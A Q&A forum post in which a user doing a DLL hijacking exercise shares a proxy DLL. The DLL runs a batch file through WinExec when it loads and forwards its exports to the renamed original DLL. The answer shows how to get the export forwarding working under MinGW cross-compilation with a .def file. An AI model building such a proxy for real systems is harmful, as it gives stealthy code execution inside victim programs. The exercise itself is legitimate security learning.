Skip to content
Advertisement

How to cross-compile DLL with exported functions

I’m working through a DLL hijacking exercise, and have a DLL written which works as expected when compiled in Visual Studio. Essentially, when the DLL is loaded, it executes a shell command and passes off legitimate functionality (in this example, the CheckEvenOdd and PrintAMessage functions) to the originally intended DLL (in this example, GetEvenOdd.dll). The working code is as follows;

#include "stdafx.h"
#include <windows.h>

#pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd")
#pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage")

extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmd(LPVOID lpParam) {
    WinExec("c:\Users\Public\execute.bat", 0);
    return 0;
}

extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Although it works as intended when compiled in Visual Studio (Windows), I would like to generate the DLL in Linux (for use in a Windows program). Within Linux, I can cross-compile the CPP file (injector.cpp), and create the DLL using these commands;

i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp
i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a

This creates the DLL successfully. However, when the DLL is loaded by my “victim application” (running on Windows), although the “ExecuteCmd” function gets executed, the exported functions (from the “pragma comment” line) are not available. Namely, the program which loads this DLL attempts to find the exported functions and is unable to (i.e. the following if branch of the DLL importing application is executed).

FNPTR fn = (FNPTR)GetProcAddress(hInst, "CheckEvenOdd");
if (!fn)
{
    std::cout << "nCould not locate the function CheckEvenOdd";
    std::cout << "nnPress Enter to Continue...";
    getch();
    return EXIT_FAILURE;
} 

That tells me the “pragma comment” line is not working as expected when I generate the DLL in Linux.

From some reading I understand these “pragma commands” are compiler specific. Is there some flags I can give to “i686-w64-mingw32-g++” (or some code change I can make) so that the exported functions are available when I compile the DLL in Linux?

Advertisement

Answer

Pragmas are specific to each compiler, your pragmas will work in Visual C++, but not in MingW. Instead you can use a .def file which are supported by Visual C++ and MinGW.

Here’s what injector.def might look like in your case:

EXPORTS
    CheckEvenOdd = GetEvenOdd.dll.original.CheckEvenOdd
    PrintAMessage = GetEvenOdd.dll.original.PrintAMessage

Compilation command:

$ i686-w64-mingw32-g++ -o GetEvenOdd.dll --shared injector.cpp injector.def
User contributions licensed under: CC BY-SA
4 People found this is helpful
Advertisement